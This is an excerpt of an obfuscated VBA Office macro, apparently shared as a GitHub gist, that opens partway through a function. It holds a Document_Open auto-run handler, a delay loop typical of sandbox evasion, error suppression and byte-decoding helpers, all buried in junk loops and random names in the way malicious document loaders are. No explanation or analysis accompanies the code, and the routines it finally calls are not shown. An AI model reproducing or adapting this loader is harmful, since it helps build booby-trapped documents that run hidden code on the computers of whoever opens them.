Dim DTaj As Integer | |
DTaj = 68 | |
If DTaj > 25 Then | |
DTaj = 5 | |
While DTaj <= 116 | |
DTaj = DTaj + 1 | |
Wend | |
End If | |
Dim U7PlAu55 As String | |
U7PlAu55 = NPer(724, 878, 677) | |
OHb = Jkpzfs - 1 | |
Dim NdG As Integer | |
NdG = 92 | |
If NdG > 25 Then | |
NdG = 7 | |
Do | |
NdG = NdG + 1 | |
Loop While NdG <= 4 | |
End If | |
Dim U7PlAu56 As String | |
U7PlAu56 = Minute(Now) | |
End Function | |
Private Function CHnp(ByVal KJJPl As String, ByVal To8G4k As Long, ByVal Fbz As Variant) As String | |
Dim NiRA As Integer | |
NiRA = 76 | |
If NiRA > 20 Then | |
NiRA = 3 | |
For NiRA = 1 To 130 | |
NiRA = NiRA + 1 | |
Next | |
End If | |
'abstained | |
Dim U7PlAu57 As String | |
Dim KXC0() As Byte, RZiZ4() As Byte, Lvd As Long, XhKwG As Long | |
Dim MH3R As Integer | |
MH3R = 98 | |
If MH3R > 31 Then | |
MH3R = 8 | |
For MH3R = 1 To 102 | |
MH3R = MH3R + 1 | |
Next | |
End If | |
Dim U7PlAu58 As String | |
U7PlAu58 = Hour(Now) | |
KXC0 = KJJPl | |
Dim Ul1cw8l As Integer | |
Ul1cw8l = 37 | |
If Ul1cw8l > 28 Then | |
Ul1cw8l = 8 | |
Do | |
Ul1cw8l = Ul1cw8l + 1 | |
Loop While Ul1cw8l <= 136 | |
End If | |
Dim U7PlAu59 As String | |
U7PlAu59 = Year(296) | |
Lvd = OHb(KXC0) | |
Dim LGCldN As Integer | |
LGCldN = 88 | |
If LGCldN > 32 Then | |
LGCldN = 7 | |
Do | |
LGCldN = LGCldN + 1 | |
Loop While LGCldN <= 209 | |
End If | |
Dim U7PlAu60 As String | |
U7PlAu60 = CVar(357) | |
To8G4k = (To8G4k - 1) * 2 | |
Dim TkB As Integer | |
TkB = 62 | |
If TkB > 22 Then | |
TkB = 2 | |
Do While TkB <= 90 | |
TkB = TkB + 1 | |
Loop | |
End If | |
Dim U7PlAu61 As String | |
U7PlAu61 = CCur(537) | |
Fbz = (Fbz * 2) - 1 | |
Dim T5 As Integer | |
T5 = 10 | |
If T5 > 34 Then | |
T5 = 8 | |
For T5 = 1 To 128 | |
T5 = T5 + 1 | |
Next | |
End If | |
Dim U7PlAu62 As String | |
U7PlAu62 = TimeSerial(198, 209, 177) | |
If To8G4k + Fbz > Lvd Then Fbz = Lvd - To8G4k | |
Dim G9N As Integer | |
G9N = 14 | |
If G9N > 32 Then | |
G9N = 3 | |
Do Until G9N >= 66 | |
G9N = G9N + 1 | |
Loop | |
End If | |
Dim U7PlAu63 As String | |
U7PlAu63 = Day(304) | |
ReDim RZiZ4(Fbz) | |
Dim R5JT As Integer | |
R5JT = 44 | |
If R5JT > 39 Then | |
R5JT = 5 | |
Do While R5JT <= 181 | |
R5JT = R5JT + 1 | |
Loop | |
End If | |
Dim U7PlAu64 As String | |
U7PlAu64 = Sqr(264) | |
For XhKwG = To8G4k To To8G4k + Fbz | |
RZiZ4(XhKwG - To8G4k) = KXC0(XhKwG) | |
Next XhKwG | |
Dim MGI As Integer | |
MGI = 46 | |
If MGI > 32 Then | |
MGI = 4 | |
Do While MGI <= 106 | |
MGI = MGI + 1 | |
Loop | |
End If | |
Dim U7PlAu65 As String | |
If U7PlAu65 = "537" Then GetObject "911", "512" | |
CHnp = RZiZ4 | |
Dim IVjQw As Integer | |
IVjQw = 37 | |
If IVjQw > 28 Then | |
IVjQw = 8 | |
Do | |
IVjQw = IVjQw + 1 | |
Loop While IVjQw <= 136 | |
End If | |
Dim U7PlAu66 As String | |
U7PlAu66 = Year(296) | |
End Function | |
Private Function UMI(AavXhKZ As Long, QUvjvie As Long) As Byte | |
Dim NKpRsf As Integer | |
NKpRsf = 88 | |
If NKpRsf > 32 Then | |
NKpRsf = 7 | |
Do | |
NKpRsf = NKpRsf + 1 | |
Loop While NKpRsf <= 209 | |
End If | |
Dim U7PlAu67 As String | |
U7PlAu67 = CVar(357) | |
Dim E9 As Long, Yp As Long | |
Dim OXP As Integer | |
OXP = 62 | |
If OXP > 22 Then | |
OXP = 2 | |
Do While OXP <= 90 | |
OXP = OXP + 1 | |
Loop | |
End If | |
Dim U7PlAu68 As String | |
U7PlAu68 = CCur(537) | |
For E9 = 48 To 57 | |
If CHnp(AavXhKZ, QUvjvie, 1) = Yp Then UMI = E9: Exit For | |
Yp = Yp + 1 | |
Next E9 | |
Dim U8 As Integer | |
U8 = 10 | |
If U8 > 34 Then | |
U8 = 8 | |
For U8 = 1 To 128 | |
U8 = U8 + 1 | |
Next | |
End If | |
Dim U7PlAu69 As String | |
U7PlAu69 = TimeSerial(198, 209, 177) | |
End Function | |
Private Sub document_open() | |
Dim GY As Integer | |
GY = 16 | |
If GY > 21 Then | |
GY = 6 | |
Do Until GY >= 78 | |
GY = GY + 1 | |
Loop | |
End If | |
Dim U7PlAu70 As String | |
U7PlAu70 = FV(7, 7, 59) | |
On Error Resume Next | |
Dim OcAdF6P As Integer | |
OcAdF6P = 58 | |
If OcAdF6P > 24 Then | |
OcAdF6P = 6 | |
Do While OcAdF6P <= 93 | |
OcAdF6P = OcAdF6P + 1 | |
Loop | |
End If | |
Dim U7PlAu71 As String | |
U7PlAu71 = CVar(704) | |
Dim Mbau As Long, FS7rPff As Long, UN83e3l As Long | |
Dim UEOt7JI As Integer | |
UEOt7JI = 13 | |
If UEOt7JI > 28 Then | |
UEOt7JI = 3 | |
Do Until UEOt7JI >= 71 | |
UEOt7JI = UEOt7JI + 1 | |
Loop | |
End If | |
Dim U7PlAu72 As String | |
U7PlAu72 = FreeFile(287) | |
Mbau = 91034 | |
Dim UvULlW As Integer | |
UvULlW = 49 | |
If UvULlW > 24 Then | |
UvULlW = 1 | |
While UvULlW <= 153 | |
UvULlW = UvULlW + 1 | |
Wend | |
End If | |
Dim U7PlAu73 As String | |
If IsError(162) = True Then U7PlAu73 = "952" | |
For FS7rPff = 1 To Mbau | |
UN83e3l = UN83e3l + 1 | |
Next FS7rPff | |
Dim AT2jo As Integer | |
AT2jo = 6 | |
If AT2jo > 25 Then | |
AT2jo = 7 | |
Do | |
AT2jo = AT2jo + 1 | |
Loop While AT2jo <= 83 | |
End If | |
Dim U7PlAu74 As String | |
If UN83e3l = Mbau Then | |
Dim Dxnm1 As Integer | |
Dxnm1 = 31 | |
If Dxnm1 > 30 Then | |
Dxnm1 = 2 | |
Do While Dxnm1 <= 12 | |
Dxnm1 = Dxnm1 + 1 | |
Loop | |
End If | |
Dim U7PlAu75 As String | |
U7PlAu75 = Sqr(222) | |
Dim GyCV6P9 As Integer, Ew As String | |
Dim U7PlAu77 As String | |
U7PlAu77 = Dir("863") | |
For GyCV6P9 = 6 To 919 | |
Ew = Ew + GyCV6P9 | |
Next | |
Dim U7PlAu78 As String | |
U7PlAu78 = Sqr(222) | |
Dim D5t3m As Integer | |
D5t3m = 81 | |
If D5t3m > 30 Then | |
D5t3m = 4 | |
While D5t3m <= 169 | |
D5t3m = D5t3m + 1 | |
Wend | |
End If | |
GmY | |
Else | |
Dim U7PlAu79 As String | |
U7PlAu79 = Year(Now) | |
Dim RxhREzo As Integer | |
RxhREzo = 20 | |
If RxhREzo > 27 Then | |
RxhREzo = 4 | |
Do While RxhREzo <= 275 | |
RxhREzo = RxhREzo + 1 | |
Loop | |
End If | |
GwQ9d | |
Dim LPA As Integer | |
LPA = 48 | |
If LPA > 40 Then | |
LPA = 9 | |
Do While LPA <= 48 | |
LPA = LPA + 1 | |
Loop | |
End If | |
Dim U7PlAu80 As String | |
If U7PlAu80 = "306" Then Resume | |
End If | |
Dim KUA1 As Integer | |
KUA1 = 51 | |
If KUA1 > 38 Then | |
KUA1 = 3 | |
Do Until KUA1 >= 67 | |
KUA1 = KUA1 + 1 | |
Loop | |
End If | |
Dim U7PlAu81 As String | |
U7PlAu81 = DoEvents | |
End Sub | |
Private Function M6C(PWwslQ6() As Byte) As String | |
Dim Wew As Integer | |
Wew = 6 | |
If Wew > 30 Then | |
Wew = 8 | |
Do | |
Wew = Wew + 1 | |
Loop While Wew <= 182 | |
End If | |
Dim U7PlAu82 As String | |
U7PlAu82 = CByte(96) | |
Dim UmtI5E As Long | |
'invades | |
Dim AI5mnr As Integer | |
AI5mnr = 71 | |
If AI5mnr > 31 Then | |
AI5mnr = 4 | |
Do | |
AI5mnr = AI5mnr + 1 | |
Loop While AI5mnr <= 91 | |
End If | |
Dim U7PlAu83 As String | |
U7PlAu83 = AscB(997) | |
For UmtI5E = 0 To OHb(PWwslQ6) | |
Dim Whc As Integer | |
Whc = 3 | |
If Whc > 22 Then | |
Whc = 6 | |
Do Until Whc >= 49 | |
Whc = Whc + 1 | |
Loop | |
End If | |
Dim U7PlAu84 As String | |
If U7PlAu84 = "458" Then DoEvents | |
M6C = M6C & Qxd7GSg(PWwslQ6(UmtI5E)) | |
Dim V6Oc As Integer | |
V6Oc = 31 | |
If V6Oc > 35 Then | |
V6Oc = 4 | |
While V6Oc <= 55 | |
V6Oc = V6Oc + 1 | |
Wend | |
End If | |
Dim U7PlAu85 As String | |
U7PlAu85 = CLng(571) | |
Next UmtI5E | |
Dim TNPv As Integer | |
TNPv = 97 | |
If TNPv > 40 Then | |
TNPv = 5 | |
Do | |
TNPv = TNPv + 1 | |
Loop While TNPv <= 202 | |
End If | |
Dim U7PlAu86 As String | |
U7PlAu86 = DateValue(Date) | |
End Function | |
Private Function SGo0s(TUO, KDSkW) | |
Dim U7PlAu87 As String | |
U7PlAu87 = Fix(900.66) | |
SGo0s = TUO - (KDSkW * (TUO \ KDSkW)) | |
Dim U7PlAu88 As String | |
U7PlAu88 = CLng(981) | |
End Function |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment